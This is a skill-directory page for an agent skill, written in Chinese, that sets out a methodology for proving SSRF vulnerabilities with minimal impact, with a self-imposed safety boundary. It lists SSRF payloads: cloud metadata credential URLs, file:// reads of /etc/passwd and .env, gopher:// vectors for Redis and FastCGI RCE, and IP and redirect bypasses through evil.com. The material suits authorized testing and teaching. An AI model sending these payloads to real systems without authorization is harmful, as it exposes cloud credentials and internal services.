# Exploit Ssrf

> SSRF/服务器请求伪造危害证明。确认服务端可控 URL、Webhook、图片抓取、PDF 渲染、导入回调、代理下载、重定向跟随或 XML/XXE SSRF 后使用。先识别 URL 解析器、重定向/DNS 行为、fetcher 协议能力和回显/OOB/错误/异步通道，再按受控 callback、metadata 根目录、角色名、localhost/banner 分层证明可达；不读取完整云凭证，不扫描内网，不写入内网服务。

- Skill: `haibo3434358/exploit-ssrf` (Agent Skill)
- Install (CLI): `npx skillmds@latest add haibo3434358/exploit-ssrf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/haibo3434358/exploit-ssrf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: haibo3434358 (https://skillmd.com/u/haibo3434358)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/haibo3434358/exploit-ssrf

---


# SSRF 危害证明方法论

> **目标**：证明服务端可被攻击者控制去访问受限网络资源，包括云 Metadata、内网服务、回环地址或受控回调地址。

---

## 实战证明总纲：先建模，再选通道

不要把 SSRF 简化成只测 `127.0.0.1` 或云 metadata。真实链路里经常存在 **URL 校验器、重定向跟随器、DNS 解析器、代理层、协议白名单和异步 worker** 的差异；证明目标是“服务端可达受限资源”，不是读取凭证或扫描内网。

执行顺序固定为：

1. **识别入口形态**：Webhook、图片/头像抓取、PDF/截图渲染、导入 URL、代理下载、回调配置、XML/XXE、对象存储转存、异步任务。
2. **识别解析链路**：前端 URL 校验、后端 URL parser、DNS 解析时机、重定向策略、代理环境、协议支持、IPv4/IPv6/IDN 规范化。
3. **识别可见性**：直接回显、错误回显、状态码/时间差、任务状态、日志、受控 DNS/HTTP callback。
4. **选择证明通道**：自有 callback、无敏 metadata 根目录、localhost banner、重定向解析差异、DNS rebinding 判定、协议能力差异。
5. **最小证明即停**：只证明源 IP、User-Agent、可达路径或角色名；不读取完整云 token，不枚举端口，不向内网写入。

| 场景 | 常规 payload 为什么失败 | 推荐证明通道 | 最小安全证据 |
|---|---|---|---|
| 盲 SSRF | 当前响应不可见 | DNS/HTTP callback、任务日志 | 唯一 token + 源 IP/UA/时间戳 |
| 回显 SSRF | 只允许 HTTP/HTTPS | metadata 根目录、localhost banner | 根目录/服务 banner 片段 |
| URL 黑名单 | 解析器与校验器不一致 | 重定向、编码、IPv6/十进制、DNS 差异 | 同一 URL 链路可达受限目标 |
| 异步抓取 | 响应只返回任务 ID | 任务状态、错误原因、callback | 任务日志或 callback 可复现 |
| 云环境 | metadata 被限制或需 Header | 根目录/角色名/错误语义 | 只证明可达或限制存在 |

## 0. 证据等级与证明路径

| 等级 | 证据 | 说明 |
|---|---|---|
| 不充分 | 只有 URL 参数、只有请求失败差异、只有 WAF 拦截、无法证明服务端发起请求 | 不能判定 SSRF |
| 基础可提交 | 受控 DNS/HTTP 回调收到目标服务器请求，或回显内网/metadata 安全探针内容 | 已证明 SSRF |
| 高质量 | 能证明可达云 metadata 目录、内网服务 banner、本机服务，但不读取敏感凭证 | 危害边界清晰 |

按类型选择证明路径：

- **回显 SSRF**：响应体直接显示目标内容，优先读取无敏感探针，如 metadata 根目录、服务 banner。
- **盲 SSRF**：必须使用受控 DNS/HTTP callback 证明服务端出网，记录源 IP、User-Agent、时间戳。
- **半回显 SSRF**：通过响应时间、错误差异、状态码和 callback 组合确认，不单靠一次超时判断。

## 🎯 证明目标（P0即可停）

| 优先级 | 目标 | 到此可停 |
|--------|------|---------|
| P0 | 云Metadata可达 | ✅ |
| P1 | IAM角色名/凭证前缀 | ✅ 推荐 |
| P2 | 内网服务banner | |

---

## 📋 云 Metadata

### AWS EC2
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}
# IMDSv2需PUT获取Token，普通SSRF通常无法设置
```

### 阿里云 ECS（国内最常见，无需Header）
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}
```

### 腾讯云 CVM（无需Header）
```
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}
```

### GCP（v1beta1无需Header！）
```
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
```

---

## 📋 协议利用

### file://（本地文件）
```
file:///etc/passwd | file:///proc/self/environ | file:///app/.env
# 支持：PHP curl、Java、Python urllib | 不支持：requests、Node.js http
```

### gopher://（构造任意TCP，最强）
```
# Redis PING验证: gopher://127.0.0.1:6379/_PING%0d%0a → +PONG
# FastCGI RCE: gopher://127.0.0.1:9000/_<FastCGI请求>
# 支持：PHP curl | 不支持：Python requests、Node.js、Go
```

### dict://（服务探测）
```
dict://127.0.0.1:6379/INFO     # Redis
dict://127.0.0.1:11211/stats   # Memcached
```

---

## 📋 内网服务指纹

| 端口 | 服务 | 识别 | 危害 |
|------|------|------|------|
| 6379 | Redis | `+PONG` | 未授权→RCE |
| 9200 | Elasticsearch | JSON含cluster_name | 数据泄露 |
| 2375 | Docker API | ApiVersion | 容器逃逸 |
| 9000 | PHP-FPM | 无HTTP响应 | RCE |
| 8848 | Nacos | code:200 | 配置泄露 |
| 8080 | 内部应用 | HTML/JSON | 未授权 |

---

## 📋 IP 绕过

| 方式 | 示例 |
|------|------|
| 十进制 | `http://2130706433/`(=127.0.0.1) / `http://2852039166/`(=169.254.169.254) |
| 八进制 | `http://0177.0.0.1/` |
| IPv6 | `http://[::1]/` / `http://[::ffff:127.0.0.1]/` |
| 缩写 | `http://127.1/` / `http://0/` |
| DNS | `http://127.0.0.1.nip.io/` / `http://localtest.me/` |
| URL解析 | `http://evil.com@169.254.169.254/` |
| 重定向 | `http://evil.com/redirect?url=http://169.254.169.254/` |
| DNS Rebinding | 第一次解析→公网IP(过白名单)，第二次→127.0.0.1(实际请求) |

---

## 🛡️ 安全边界

- ✅ 云 Metadata 只证明根目录、角色名或 endpoint 可达；不要读取完整临时凭证。
- ✅ 内网服务只取 banner、版本、`PING`/`INFO` 这类无害响应。
- ✅ `file://` 只在授权范围内读取低敏探针；优先 `/etc/hostname`、`/proc/self/cgroup`，避免直接读取业务密钥。
- ❌ 禁止使用 IAM/STS/CAM/RAM 凭证调用云 API。
- ❌ 禁止向 Redis/MySQL/内网 HTTP 服务写入数据、执行命令或修改配置。
- 内网目标最多 5 个，总请求≤15 个；证明可达后立即停止。

---

## 最低危害证明自检

提交前必须确认：

| # | 自检项 |
|---|---|
| 1 | 已证明请求由目标服务器发起，而不是浏览器、前端或本地网络发起 |
| 2 | 已区分回显 SSRF、盲 SSRF、半回显 SSRF，并给出对应证据 |
| 3 | 已记录 callback 时间戳、源 IP、User-Agent 或响应体关键片段 |
| 4 | 已证明访问了受限资源：metadata、localhost、内网 IP 或受控回调 |
| 5 | 未读取完整云凭证、未调用云 API、未写入内网服务 |
| 6 | 已说明绕过方式，如 IP 编码、重定向、DNS、协议变体或白名单缺陷 |

---

## 📊 证据模板

```
**注入点**: POST /api/webhook, 参数 callback_url
**类型**: 回显 SSRF / 盲 SSRF / 半回显 SSRF
**绕过**: 十进制IP 2852039166
**服务端请求证据**: callback 收到来自目标出口 IP 的请求，UA=Go-http-client/1.1，时间=2026-xx-xx
**受限资源证明**: metadata 根目录可达 / 内网 Redis 返回 +PONG / localhost 服务 banner
**安全边界**: 未读取完整云凭证，未写入内网服务
**结论**: confirmed_vuln | confirmed_limited_impact | suspected_vuln | needs_review | not_vuln
```

